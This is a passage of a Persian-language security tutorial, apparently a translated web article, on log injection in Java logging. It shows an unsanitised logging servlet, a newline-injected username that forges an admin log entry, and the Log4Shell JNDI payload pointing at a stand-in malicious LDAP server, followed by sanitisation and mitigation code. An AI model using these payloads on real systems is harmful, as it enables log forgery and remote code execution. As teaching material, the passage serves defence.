\u0627\u06cc\u0646\u062c\u0627 \u067e\u06cc\u062f\u0627 \u06a9\u0646\u06cc\u062f.<\/p>\n<h3><span class=\"ez-toc-section\" id=\"%D8%AA%D8%B2%D8%B1%DB%8C%D9%82_%DA%86%D9%88%D8%A8\"><\/span>\n<p>  \u062a\u0632\u0631\u06cc\u0642 \u0686\u0648\u0628<br \/>\n<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p>\u0633\u06cc\u0633\u062a\u0645 \u062b\u0628\u062a \u06af\u0632\u0627\u0631\u0634 \u06cc\u06a9 \u062c\u0632\u0621 \u0646\u0631\u0645 \u0627\u0641\u0632\u0627\u0631\u06cc \u06cc\u0627 \u0633\u0631\u0648\u06cc\u0633\u06cc \u0627\u0633\u062a \u06a9\u0647 \u0628\u0631\u0627\u06cc \u0636\u0628\u0637 \u0631\u0648\u06cc\u062f\u0627\u062f\u0647\u0627\u060c \u067e\u06cc\u0627\u0645 \u0647\u0627 \u0648 \u0633\u0627\u06cc\u0631 \u062f\u0627\u062f\u0647 \u0647\u0627\u06cc \u062a\u0648\u0644\u06cc\u062f \u0634\u062f\u0647 \u062a\u0648\u0633\u0637 \u0628\u0631\u0646\u0627\u0645\u0647 \u0647\u0627\u060c \u0633\u06cc\u0633\u062a\u0645 \u0647\u0627 \u06cc\u0627 \u062f\u0633\u062a\u06af\u0627\u0647 \u0647\u0627 \u0637\u0631\u0627\u062d\u06cc \u0634\u062f\u0647 \u0627\u0633\u062a. \u06af\u0632\u0627\u0631\u0634 \u0647\u0627 \u0628\u0631\u0627\u06cc \u0646\u0638\u0627\u0631\u062a\u060c \u0639\u06cc\u0628 \u06cc\u0627\u0628\u06cc\u060c \u0645\u0645\u06cc\u0632\u06cc \u0648 \u062a\u062c\u0632\u06cc\u0647 \u0648 \u062a\u062d\u0644\u06cc\u0644 \u0646\u0631\u0645 \u0627\u0641\u0632\u0627\u0631 \u0648 \u0631\u0641\u062a\u0627\u0631 \u0648 \u0639\u0645\u0644\u06a9\u0631\u062f \u0633\u06cc\u0633\u062a\u0645 \u0636\u0631\u0648\u0631\u06cc \u0647\u0633\u062a\u0646\u062f.<\/p>\n<p>\u0645\u0639\u0645\u0648\u0644\u0627\u064b\u060c \u0627\u06cc\u0646 \u0628\u0631\u0646\u0627\u0645\u0647\u200c\u0647\u0627 \u0634\u06a9\u0633\u062a\u200c\u0647\u0627\u060c \u062a\u0644\u0627\u0634\u200c\u0647\u0627 \u0628\u0631\u0627\u06cc \u0648\u0631\u0648\u062f \u0628\u0647 \u0633\u06cc\u0633\u062a\u0645 \u0648 \u062d\u062a\u06cc \u0645\u0648\u0641\u0642\u06cc\u062a\u200c\u0647\u0627\u06cc\u06cc \u0631\u0627 \u062b\u0628\u062a \u0645\u06cc\u200c\u06a9\u0646\u0646\u062f \u06a9\u0647 \u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u0646\u062f \u062f\u0631 \u0635\u0648\u0631\u062a \u0628\u0631\u0648\u0632 \u0645\u0634\u06a9\u0644 \u062f\u0631 \u0627\u0634\u06a9\u0627\u0644\u200c\u0632\u062f\u0627\u06cc\u06cc \u06a9\u0645\u06a9 \u06a9\u0646\u0646\u062f.<\/p>\n<p>\u0627\u0645\u0627\u060c \u0622\u0646\u0647\u0627 \u0647\u0645\u0686\u0646\u06cc\u0646 \u0645\u06cc \u062a\u0648\u0627\u0646\u0646\u062f \u0628\u0647 \u06cc\u06a9 \u0628\u0631\u062f\u0627\u0631 \u062d\u0645\u0644\u0647 \u062a\u0628\u062f\u06cc\u0644 \u0634\u0648\u0646\u062f.<\/p>\n<p>\u062a\u0632\u0631\u06cc\u0642 \u0644\u0627\u06af \u0646\u0648\u0639\u06cc \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u0627\u0645\u0646\u06cc\u062a\u06cc \u0627\u0633\u062a \u06a9\u0647 \u062f\u0631 \u0622\u0646 \u0645\u0647\u0627\u062c\u0645 \u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u062f \u0641\u0627\u06cc\u0644\u200c\u0647\u0627\u06cc \u06af\u0632\u0627\u0631\u0634 \u0631\u0627 \u0628\u0627 \u062a\u0632\u0631\u06cc\u0642 \u0648\u0631\u0648\u062f\u06cc \u0645\u062e\u0631\u0628 \u0628\u0647 \u0622\u0646\u200c\u0647\u0627 \u062f\u0633\u062a\u06a9\u0627\u0631\u06cc \u06a9\u0646\u062f. \u0627\u06af\u0631 \u0633\u06cc\u0627\u0647\u0647\u0647\u0627 \u0628\u0647 \u062f\u0631\u0633\u062a\u06cc \u0636\u062f \u0639\u0641\u0648\u0646\u06cc \u0646\u0634\u0648\u0646\u062f\u060c \u0645\u06cc \u062a\u0648\u0627\u0646\u062f \u0645\u0646\u062c\u0631 \u0628\u0647 \u0686\u0646\u062f\u06cc\u0646 \u0645\u0634\u06a9\u0644 \u0627\u0645\u0646\u06cc\u062a\u06cc \u0634\u0648\u062f.<\/p>\n<p>\u0647\u0646\u06af\u0627\u0645\u06cc \u06a9\u0647 \u0645\u0647\u0627\u062c\u0645 \u0645\u062d\u062a\u0648\u0627\u06cc \u06af\u0632\u0627\u0631\u0634 \u0631\u0627 \u062a\u063a\u06cc\u06cc\u0631 \u0645\u06cc \u062f\u0647\u062f \u062a\u0627 \u0622\u0646\u0647\u0627 \u0631\u0627 \u062e\u0631\u0627\u0628 \u06a9\u0646\u062f \u06cc\u0627 \u0627\u0637\u0644\u0627\u0639\u0627\u062a \u0646\u0627\u062f\u0631\u0633\u062a \u0631\u0627 \u0628\u0631\u0627\u06cc \u0627\u06cc\u062c\u0627\u062f \u0645\u0634\u06a9\u0644 \u062f\u0631 \u062a\u062c\u0632\u06cc\u0647 \u0648 \u062a\u062d\u0644\u06cc\u0644 \u0622\u0646\u0647\u0627 \u06cc\u0627 \u0634\u06a9\u0633\u062a\u0646 \u062a\u062c\u0632\u06cc\u0647 \u06a9\u0646\u0646\u062f\u0647 \u0647\u0627\u06cc \u06af\u0632\u0627\u0631\u0634\u060c \u0648 \u0647\u0645\u0686\u0646\u06cc\u0646 \u0633\u0648\u0621 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 \u0633\u06cc\u0633\u062a\u0645 \u0647\u0627\u06cc \u0645\u062f\u06cc\u0631\u06cc\u062a \u06af\u0632\u0627\u0631\u0634\u060c \u06a9\u0647 \u062f\u0631 \u0622\u0646 \u0645\u0647\u0627\u062c\u0645 \u0633\u06cc\u0627\u0647\u0647 \u0647\u0627 \u0631\u0627 \u0628\u0647 \u0622\u0646\u0647\u0627 \u062a\u0632\u0631\u06cc\u0642 \u0645\u06cc \u06a9\u0646\u062f\u060c \u0645\u06cc \u062a\u0648\u0627\u0646\u06cc\u0645 \u0645\u0633\u0627\u0626\u0644\u06cc \u0645\u0627\u0646\u0646\u062f \u062c\u0639\u0644 \u06af\u0632\u0627\u0631\u0634 \u0648 \u0622\u0644\u0648\u062f\u06af\u06cc \u067e\u06cc\u062f\u0627 \u06a9\u0646\u06cc\u0645. \u0627\u0632 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc\u200c\u0647\u0627 \u062f\u0631 \u0633\u06cc\u0633\u062a\u0645\u200c\u0647\u0627\u06cc \u0645\u062f\u06cc\u0631\u06cc\u062a \u06af\u0632\u0627\u0631\u0634 \u0633\u0648\u0621 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0645\u06cc\u200c\u06a9\u0646\u062f \u06a9\u0647 \u0645\u0646\u062c\u0631 \u0628\u0647 \u062d\u0645\u0644\u0627\u062a \u0628\u06cc\u0634\u062a\u0631 \u0645\u0627\u0646\u0646\u062f \u0627\u062c\u0631\u0627\u06cc \u06a9\u062f \u0627\u0632 \u0631\u0627\u0647 \u062f\u0648\u0631 \u0645\u06cc\u200c\u0634\u0648\u062f.<\/p>\n<p>\u0628\u06cc\u0627\u06cc\u06cc\u062f \u06a9\u062f \u0632\u06cc\u0631 \u0631\u0627 \u062f\u0631 \u0646\u0638\u0631 \u0628\u06af\u06cc\u0631\u06cc\u0645\u060c \u062c\u0627\u06cc\u06cc \u06a9\u0647 \u06cc\u06a9 \u0645\u0642\u062f\u0627\u0631 \u0627\u0632 \u06a9\u0627\u0631\u0628\u0631 \u0645\u06cc \u06af\u06cc\u0631\u06cc\u0645 \u0648 \u0622\u0646 \u0631\u0627 \u062b\u0628\u062a \u0645\u06cc \u06a9\u0646\u06cc\u0645.<\/p>\n<div class=\"highlight js-code-highlight\">\n<pre class=\"highlight java\"><code>   <span class=\"kd\">public<\/span> <span class=\"kt\">void<\/span> <span class=\"nf\">doGet<\/span><span class=\"o\">(<\/span><span class=\"nc\">HttpServletRequest<\/span> <span class=\"n\">request<\/span><span class=\"o\">,<\/span> <span class=\"nc\">HttpServletResponse<\/span> <span class=\"n\">response<\/span><span class=\"o\">)<\/span> <span class=\"o\">{<\/span>\n       <span class=\"nc\">String<\/span> <span class=\"n\">user<\/span> <span class=\"o\">=<\/span> <span class=\"n\">request<\/span><span class=\"o\">.<\/span><span class=\"na\">getParameter<\/span><span class=\"o\">(<\/span><span class=\"s\">\"user\"<\/span><span class=\"o\">);<\/span>\n       <span class=\"k\">if<\/span> <span class=\"o\">(<\/span><span class=\"n\">user<\/span> <span class=\"o\">!=<\/span> <span class=\"kc\">null<\/span><span class=\"o\">){<\/span>\n         <span class=\"n\">logger<\/span><span class=\"o\">.<\/span><span class=\"na\">log<\/span><span class=\"o\">(<\/span><span class=\"nc\">Level<\/span><span class=\"o\">.<\/span><span class=\"na\">INFO<\/span><span class=\"o\">,<\/span> <span class=\"s\">\"User: {0} login in\"<\/span><span class=\"o\">,<\/span> <span class=\"n\">user<\/span><span class=\"o\">);<\/span>\n       <span class=\"o\">}<\/span>\n   <span class=\"o\">}<\/span>\n<\/code><\/pre>\n<div class=\"highlight__panel js-actions-panel\">\n<div class=\"highlight__panel-action js-fullscreen-code-action\">\n    <svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"20px\" height=\"20px\" viewbox=\"0 0 24 24\" class=\"highlight-action crayons-icon highlight-action--fullscreen-on\"><title>\u0648\u0627\u0631\u062f \u062d\u0627\u0644\u062a \u062a\u0645\u0627\u0645 \u0635\u0641\u062d\u0647 \u0634\u0648\u06cc\u062f<\/title>\n    <path d=\"M16 3h6v6h-2V5h-4V3zM2 3h6v2H4v4H2V3zm18 16v-4h2v6h-6v-2h4zM4 19h4v2H2v-6h2v4z\"\/>\n<\/svg><\/p>\n<p>    <svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"20px\" height=\"20px\" viewbox=\"0 0 24 24\" class=\"highlight-action crayons-icon highlight-action--fullscreen-off\"><title>\u0627\u0632 \u062d\u0627\u0644\u062a \u062a\u0645\u0627\u0645 \u0635\u0641\u062d\u0647 \u062e\u0627\u0631\u062c \u0634\u0648\u06cc\u062f<\/title>\n    <path d=\"M18 7h4v2h-6V3h2v4zM8 9H2V7h4V3h2v6zm10 8v4h-2v-6h6v2h-4zM8 15v6H6v-4H2v-2h6z\"\/>\n<\/svg><\/p>\n<\/div>\n<\/div>\n<\/div>\n<p>\u0628\u06cc \u0636\u0631\u0631 \u0628\u0647 \u0646\u0638\u0631 \u0645\u06cc \u0631\u0633\u062f\u060c \u062f\u0631\u0633\u062a \u0627\u0633\u062a\u061f<\/p>\n<p>\u0627\u0645\u0627 \u0627\u06af\u0631 \u0645\u0647\u0627\u062c\u0645 \u0628\u062e\u0648\u0627\u0647\u062f \u0628\u0627 \u0627\u06cc\u0646 \u06a9\u0627\u0631\u0628\u0631 \u0648\u0627\u0631\u062f \u0634\u0648\u062f \u0686\u0647\u061f<\/p>\n<div class=\"highlight js-code-highlight\">\n<pre class=\"highlight shell\"><code> john login <span class=\"k\">in<\/span><span class=\"se\">\\n<\/span>2024-08-19 12:34:56 INFO User <span class=\"s1\">'admin'<\/span> login <span class=\"k\">in<\/span>\n<\/code><\/pre>\n<div class=\"highlight__panel js-actions-panel\">\n<div class=\"highlight__panel-action js-fullscreen-code-action\">\n    <svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"20px\" height=\"20px\" viewbox=\"0 0 24 24\" class=\"highlight-action crayons-icon highlight-action--fullscreen-on\"><title>\u0648\u0627\u0631\u062f \u062d\u0627\u0644\u062a \u062a\u0645\u0627\u0645 \u0635\u0641\u062d\u0647 \u0634\u0648\u06cc\u062f<\/title>\n    <path d=\"M16 3h6v6h-2V5h-4V3zM2 3h6v2H4v4H2V3zm18 16v-4h2v6h-6v-2h4zM4 19h4v2H2v-6h2v4z\"\/>\n<\/svg><\/p>\n<p>    <svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"20px\" height=\"20px\" viewbox=\"0 0 24 24\" class=\"highlight-action crayons-icon highlight-action--fullscreen-off\"><title>\u0627\u0632 \u062d\u0627\u0644\u062a \u062a\u0645\u0627\u0645 \u0635\u0641\u062d\u0647 \u062e\u0627\u0631\u062c \u0634\u0648\u06cc\u062f<\/title>\n    <path d=\"M18 7h4v2h-6V3h2v4zM8 9H2V7h4V3h2v6zm10 8v4h-2v-6h6v2h-4zM8 15v6H6v-4H2v-2h6z\"\/>\n<\/svg><\/p>\n<\/div>\n<\/div>\n<\/div>\n<p><img decoding=\"async\" src=\"https:\/\/media.dev.to\/cdn-cgi\/image\/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto\/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F0u13j6wr4vi4ayv77v07.png\" alt=\"\u0648\u0631\u0648\u062f \u0628\u0647 \u0633\u06cc\u0633\u062a\u0645 \u062a\u0632\u0631\u06cc\u0642\" loading=\"lazy\" width=\"288\" height=\"171\" title=\"\"><\/p>\n<p>\u0628\u0647 \u0648\u0636\u0648\u062d \u06cc\u06a9 \u0646\u0627\u0645 \u06a9\u0627\u0631\u0628\u0631\u06cc \u0627\u0634\u062a\u0628\u0627\u0647 \u0627\u0633\u062a \u0648 \u0646\u0627\u0645\u0648\u0641\u0642 \u062e\u0648\u0627\u0647\u062f \u0628\u0648\u062f. \u0627\u0645\u0627\u060c \u062b\u0628\u062a \u062e\u0648\u0627\u0647\u062f \u0634\u062f \u0648 \u0634\u062e\u0635\u06cc \u06a9\u0647 \u0644\u0627\u06af \u0631\u0627 \u0628\u0631\u0631\u0633\u06cc \u0645\u06cc \u06a9\u0646\u062f \u0628\u0633\u06cc\u0627\u0631 \u06af\u06cc\u062c \u0645\u06cc \u0634\u0648\u062f<\/p>\n<div class=\"highlight js-code-highlight\">\n<pre class=\"highlight shell\"><code>   2024-08-19 12:34:56 INFO User <span class=\"s1\">'john'<\/span> login <span class=\"k\">in \n   <\/span>2024-08-19 12:34:56 ERROR User <span class=\"s1\">'admin'<\/span> login <span class=\"k\">in<\/span> \n<\/code><\/pre>\n<div class=\"highlight__panel js-actions-panel\">\n<div class=\"highlight__panel-action js-fullscreen-code-action\">\n    <svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"20px\" height=\"20px\" viewbox=\"0 0 24 24\" class=\"highlight-action crayons-icon highlight-action--fullscreen-on\"><title>\u0648\u0627\u0631\u062f \u062d\u0627\u0644\u062a \u062a\u0645\u0627\u0645 \u0635\u0641\u062d\u0647 \u0634\u0648\u06cc\u062f<\/title>\n    <path d=\"M16 3h6v6h-2V5h-4V3zM2 3h6v2H4v4H2V3zm18 16v-4h2v6h-6v-2h4zM4 19h4v2H2v-6h2v4z\"\/>\n<\/svg><\/p>\n<p>    <svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"20px\" height=\"20px\" viewbox=\"0 0 24 24\" class=\"highlight-action crayons-icon highlight-action--fullscreen-off\"><title>\u0627\u0632 \u062d\u0627\u0644\u062a \u062a\u0645\u0627\u0645 \u0635\u0641\u062d\u0647 \u062e\u0627\u0631\u062c \u0634\u0648\u06cc\u062f<\/title>\n    <path d=\"M18 7h4v2h-6V3h2v4zM8 9H2V7h4V3h2v6zm10 8v4h-2v-6h6v2h-4zM8 15v6H6v-4H2v-2h6z\"\/>\n<\/svg><\/p>\n<\/div>\n<\/div>\n<\/div>\n<p>\u06cc\u0627 \u062d\u062a\u06cc \u0628\u062f\u062a\u0631!! \u0627\u06af\u0631 \u0645\u0647\u0627\u062c\u0645 \u0628\u062f\u0627\u0646\u062f \u06a9\u0647 \u0633\u06cc\u0633\u062a\u0645 \u0627\u0632 \u06cc\u06a9 \u0646\u0633\u062e\u0647 Log4J \u0628\u062f\u0648\u0646 \u0648\u0635\u0644\u0647 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0645\u06cc \u06a9\u0646\u062f\u060c \u0645\u06cc \u062a\u0648\u0627\u0646\u062f \u0645\u0642\u062f\u0627\u0631 \u0632\u06cc\u0631 \u0631\u0627 \u0628\u0647 \u0639\u0646\u0648\u0627\u0646 \u06a9\u0627\u0631\u0628\u0631 \u0627\u0631\u0633\u0627\u0644 \u06a9\u0646\u062f \u0648 \u0633\u06cc\u0633\u062a\u0645 \u0627\u0632 \u0627\u062c\u0631\u0627\u06cc \u0627\u0632 \u0631\u0627\u0647 \u062f\u0648\u0631 \u0631\u0646\u062c \u0645\u06cc \u0628\u0631\u062f. \u0633\u0631\u0648\u0631 LDAP \u06a9\u0647 \u062a\u0648\u0633\u0637 \u0645\u0647\u0627\u062c\u0645 \u06a9\u0646\u062a\u0631\u0644 \u0645\u06cc \u0634\u0648\u062f \u0628\u0627 \u0627\u0631\u062c\u0627\u0639 \u0628\u0647 \u06a9\u0644\u0627\u0633 \u0645\u062e\u0631\u0628 \u062c\u0627\u0648\u0627 \u06a9\u0647 \u0631\u0648\u06cc \u06cc\u06a9 \u0633\u0631\u0648\u0631 \u0631\u0627\u0647 \u062f\u0648\u0631 \u0645\u06cc\u0632\u0628\u0627\u0646\u06cc \u0634\u062f\u0647 \u0627\u0633\u062a \u067e\u0627\u0633\u062e \u0645\u06cc \u062f\u0647\u062f. \u0628\u0631\u0646\u0627\u0645\u0647 \u0622\u0633\u06cc\u0628 \u067e\u0630\u06cc\u0631 \u0627\u06cc\u0646 \u06a9\u0644\u0627\u0633 \u0631\u0627 \u062f\u0627\u0646\u0644\u0648\u062f \u0648 \u0627\u062c\u0631\u0627 \u0645\u06cc \u06a9\u0646\u062f \u0648 \u0628\u0647 \u0645\u0647\u0627\u062c\u0645 \u06a9\u0646\u062a\u0631\u0644 \u0633\u0631\u0648\u0631 \u0631\u0627 \u0645\u06cc \u062f\u0647\u062f.<\/p>\n<div class=\"highlight js-code-highlight\">\n<pre class=\"highlight java\"><code>    <span class=\"err\">$<\/span> <span class=\"o\">{<\/span> <span class=\"nl\">jndi:ldap:<\/span><span class=\"c1\">\/\/malicious-server.com\/a}<\/span>\n<\/code><\/pre>\n<div class=\"highlight__panel js-actions-panel\">\n<div class=\"highlight__panel-action js-fullscreen-code-action\">\n    <svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"20px\" height=\"20px\" viewbox=\"0 0 24 24\" class=\"highlight-action crayons-icon highlight-action--fullscreen-on\"><title>\u0648\u0627\u0631\u062f \u062d\u0627\u0644\u062a \u062a\u0645\u0627\u0645 \u0635\u0641\u062d\u0647 \u0634\u0648\u06cc\u062f<\/title>\n    <path d=\"M16 3h6v6h-2V5h-4V3zM2 3h6v2H4v4H2V3zm18 16v-4h2v6h-6v-2h4zM4 19h4v2H2v-6h2v4z\"\/>\n<\/svg><\/p>\n<p>    <svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"20px\" height=\"20px\" viewbox=\"0 0 24 24\" class=\"highlight-action crayons-icon highlight-action--fullscreen-off\"><title>\u0627\u0632 \u062d\u0627\u0644\u062a \u062a\u0645\u0627\u0645 \u0635\u0641\u062d\u0647 \u062e\u0627\u0631\u062c \u0634\u0648\u06cc\u062f<\/title>\n    <path d=\"M18 7h4v2h-6V3h2v4zM8 9H2V7h4V3h2v6zm10 8v4h-2v-6h6v2h-4zM8 15v6H6v-4H2v-2h6z\"\/>\n<\/svg><\/p>\n<\/div>\n<\/div>\n<\/div>\n<p>\u0627\u0645\u0627 \u0628\u0647 \u0631\u0627\u062d\u062a\u06cc \u0645\u06cc \u062a\u0648\u0627\u0646\u06cc\u0645 \u0627\u0632 \u0627\u06cc\u0646 \u0645\u0633\u0627\u0626\u0644 \u062c\u0644\u0648\u06af\u06cc\u0631\u06cc \u06a9\u0646\u06cc\u0645.<\/p>\n<p>\u067e\u0627\u06a9\u0633\u0627\u0632\u06cc \u0645\u0642\u0627\u062f\u06cc\u0631\u06cc \u06a9\u0647 \u0628\u0627\u06cc\u062f \u062b\u0628\u062a \u0634\u0648\u0646\u062f \u0628\u0631\u0627\u06cc \u062c\u0644\u0648\u06af\u06cc\u0631\u06cc \u0627\u0632 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u062c\u0639\u0644 \u06af\u0632\u0627\u0631\u0634 \u0645\u0647\u0645 \u0627\u0633\u062a\u060c \u0632\u06cc\u0631\u0627 \u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u062f \u0645\u0646\u062c\u0631 \u0628\u0647 \u062e\u0631\u0648\u062c\u06cc\u200c\u0647\u0627\u06cc \u06af\u06cc\u062c\u200c\u06a9\u0646\u0646\u062f\u0647 \u062c\u0639\u0644\u06cc \u062a\u0648\u0633\u0637 \u06a9\u0627\u0631\u0628\u0631 \u0634\u0648\u062f.<\/p>\n<div class=\"highlight js-code-highlight\">\n<pre class=\"highlight java\"><code>     <span class=\"c1\">\/\/ Log the sanitised username<\/span>\n     <span class=\"nc\">String<\/span> <span class=\"n\">user<\/span> <span class=\"o\">=<\/span> <span class=\"n\">sanitiseInput<\/span><span class=\"o\">(<\/span><span class=\"n\">request<\/span><span class=\"o\">.<\/span><span class=\"na\">getParameter<\/span><span class=\"o\">(<\/span><span class=\"s\">\"user\"<\/span><span class=\"o\">));<\/span>\n   <span class=\"o\">}<\/span>\n\n  <span class=\"kd\">private<\/span> <span class=\"nc\">String<\/span> <span class=\"nf\">sanitiseInput<\/span><span class=\"o\">(<\/span><span class=\"nc\">String<\/span> <span class=\"n\">input<\/span><span class=\"o\">)<\/span> <span class=\"o\">{<\/span>\n     <span class=\"c1\">\/\/ Replace newline and carriage return characters with a safe placeholder<\/span>\n     <span class=\"k\">if<\/span> <span class=\"o\">(<\/span><span class=\"n\">input<\/span> <span class=\"o\">!=<\/span> <span class=\"kc\">null<\/span><span class=\"o\">)<\/span> <span class=\"o\">{<\/span>\n       <span class=\"n\">input<\/span> <span class=\"o\">=<\/span> <span class=\"n\">input<\/span><span class=\"o\">.<\/span><span class=\"na\">replaceAll<\/span><span class=\"o\">(<\/span><span class=\"s\">\"[\\\\n\\\\r]\"<\/span><span class=\"o\">,<\/span> <span class=\"s\">\"_\"<\/span><span class=\"o\">);<\/span>\n     <span class=\"o\">}<\/span>\n     <span class=\"k\">return<\/span> <span class=\"n\">input<\/span><span class=\"o\">;<\/span>\n   <span class=\"o\">}<\/span>\n<\/code><\/pre>\n<div class=\"highlight__panel js-actions-panel\">\n<div class=\"highlight__panel-action js-fullscreen-code-action\">\n    <svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"20px\" height=\"20px\" viewbox=\"0 0 24 24\" class=\"highlight-action crayons-icon highlight-action--fullscreen-on\"><title>\u0648\u0627\u0631\u062f \u062d\u0627\u0644\u062a \u062a\u0645\u0627\u0645 \u0635\u0641\u062d\u0647 \u0634\u0648\u06cc\u062f<\/title>\n    <path d=\"M16 3h6v6h-2V5h-4V3zM2 3h6v2H4v4H2V3zm18 16v-4h2v6h-6v-2h4zM4 19h4v2H2v-6h2v4z\"\/>\n<\/svg><\/p>\n<p>    <svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"20px\" height=\"20px\" viewbox=\"0 0 24 24\" class=\"highlight-action crayons-icon highlight-action--fullscreen-off\"><title>\u0627\u0632 \u062d\u0627\u0644\u062a \u062a\u0645\u0627\u0645 \u0635\u0641\u062d\u0647 \u062e\u0627\u0631\u062c \u0634\u0648\u06cc\u062f<\/title>\n    <path d=\"M18 7h4v2h-6V3h2v4zM8 9H2V7h4V3h2v6zm10 8v4h-2v-6h6v2h-4zM8 15v6H6v-4H2v-2h6z\"\/>\n<\/svg><\/p>\n<\/div>\n<\/div>\n<\/div>\n<p>\u0646\u062a\u06cc\u062c\u0647\u200c\u0627\u06cc \u06a9\u0647 \u062f\u0631 \u0644\u0627\u06af\u200c\u0647\u0627 \u062e\u0648\u0627\u0647\u06cc\u0645 \u062f\u06cc\u062f \u0628\u0647 \u0635\u0648\u0631\u062a \u0632\u06cc\u0631 \u0627\u0633\u062a\u060c \u0648 \u0627\u06a9\u0646\u0648\u0646 \u0622\u0633\u0627\u0646\u200c\u062a\u0631 \u0645\u06cc\u200c\u062a\u0648\u0627\u0646 \u0645\u0634\u0627\u0647\u062f\u0647 \u06a9\u0631\u062f \u06a9\u0647 \u0647\u0645\u0647 \u06af\u0632\u0627\u0631\u0634\u200c\u0647\u0627 \u0628\u0647 \u06cc\u06a9 \u0641\u0631\u0627\u062e\u0648\u0627\u0646\u06cc \u0628\u0647 \u0633\u06cc\u0633\u062a\u0645 \u06af\u0632\u0627\u0631\u0634 \u062a\u0639\u0644\u0642 \u062f\u0627\u0631\u0646\u062f.<\/p>\n<div class=\"highlight js-code-highlight\">\n<pre class=\"highlight shell\"><code>   2024-08-19 12:34:56 INFO User <span class=\"s1\">'john'<\/span> login in_2024-08-19 12:34:56 ERROR User <span class=\"s1\">'admin'<\/span> login <span class=\"k\">in<\/span> \n<\/code><\/pre>\n<div class=\"highlight__panel js-actions-panel\">\n<div class=\"highlight__panel-action js-fullscreen-code-action\">\n    <svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"20px\" height=\"20px\" viewbox=\"0 0 24 24\" class=\"highlight-action crayons-icon highlight-action--fullscreen-on\"><title>\u0648\u0627\u0631\u062f \u062d\u0627\u0644\u062a \u062a\u0645\u0627\u0645 \u0635\u0641\u062d\u0647 \u0634\u0648\u06cc\u062f<\/title>\n    <path d=\"M16 3h6v6h-2V5h-4V3zM2 3h6v2H4v4H2V3zm18 16v-4h2v6h-6v-2h4zM4 19h4v2H2v-6h2v4z\"\/>\n<\/svg><\/p>\n<p>    <svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"20px\" height=\"20px\" viewbox=\"0 0 24 24\" class=\"highlight-action crayons-icon highlight-action--fullscreen-off\"><title>\u0627\u0632 \u062d\u0627\u0644\u062a \u062a\u0645\u0627\u0645 \u0635\u0641\u062d\u0647 \u062e\u0627\u0631\u062c \u0634\u0648\u06cc\u062f<\/title>\n    <path d=\"M18 7h4v2h-6V3h2v4zM8 9H2V7h4V3h2v6zm10 8v4h-2v-6h6v2h-4zM8 15v6H6v-4H2v-2h6z\"\/>\n<\/svg><\/p>\n<\/div>\n<\/div>\n<\/div>\n<p>\u0628\u0647 \u0645\u0646\u0638\u0648\u0631 \u062c\u0644\u0648\u06af\u06cc\u0631\u06cc \u0627\u0632 \u0633\u0648\u0621 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u062f\u0631 \u0633\u06cc\u0633\u062a\u0645 \u06af\u0632\u0627\u0631\u0634\u200c\u06af\u06cc\u0631\u06cc\u060c \u0645\u0647\u0645 \u0627\u0633\u062a \u06a9\u0647 \u06a9\u062a\u0627\u0628\u062e\u0627\u0646\u0647\u200c\u0647\u0627\u06cc\u0645\u0627\u0646 \u0631\u0627 \u062a\u0627 \u062d\u062f \u0627\u0645\u06a9\u0627\u0646 \u0628\u0647 \u0622\u062e\u0631\u06cc\u0646 \u0646\u0633\u062e\u0647\u200c\u0647\u0627\u06cc \u067e\u0627\u06cc\u062f\u0627\u0631 \u0628\u0647\u200c\u0631\u0648\u0632 \u0646\u06af\u0647 \u062f\u0627\u0631\u06cc\u0645. \u0628\u0631\u0627\u06cc log4j\u060c \u0622\u0646 \u0627\u0635\u0644\u0627\u062d \u0639\u0645\u0644\u06a9\u0631\u062f \u0631\u0627 \u063a\u06cc\u0631\u0641\u0639\u0627\u0644 \u0645\u06cc \u06a9\u0646\u062f. \u0645\u0627 \u0647\u0645\u0686\u0646\u06cc\u0646 \u0645\u06cc \u062a\u0648\u0627\u0646\u06cc\u0645 \u0628\u0647 \u0635\u0648\u0631\u062a \u062f\u0633\u062a\u06cc JNDI \u0631\u0627 \u063a\u06cc\u0631\u0641\u0639\u0627\u0644 \u06a9\u0646\u06cc\u0645.<\/p>\n<div class=\"highlight js-code-highlight\">\n<pre class=\"highlight shell\"><code>     <span class=\"nt\">-Dlog4j2<\/span>.formatMsgNoLookups<span class=\"o\">=<\/span><span class=\"nb\">true<\/span>\n<\/code><\/pre>\n<div class=\"highlight__panel js-actions-panel\">\n<div class=\"highlight__panel-action js-fullscreen-code-action\">\n    <svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"20px\" height=\"20px\" viewbox=\"0 0 24 24\" class=\"highlight-action crayons-icon highlight-action--fullscreen-on\"><title>\u0648\u0627\u0631\u062f \u062d\u0627\u0644\u062a \u062a\u0645\u0627\u0645 \u0635\u0641\u062d\u0647 \u0634\u0648\u06cc\u062f<\/title>\n    <path d=\"M16 3h6v6h-2V5h-4V3zM2 3h6v2H4v4H2V3zm18 16v-4h2v6h-6v-2h4zM4 19h4v2H2v-6h2v4z\"\/>\n<\/svg><\/p>\n<p>    <svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"20px\" height=\"20px\" viewbox=\"0 0 24 24\" 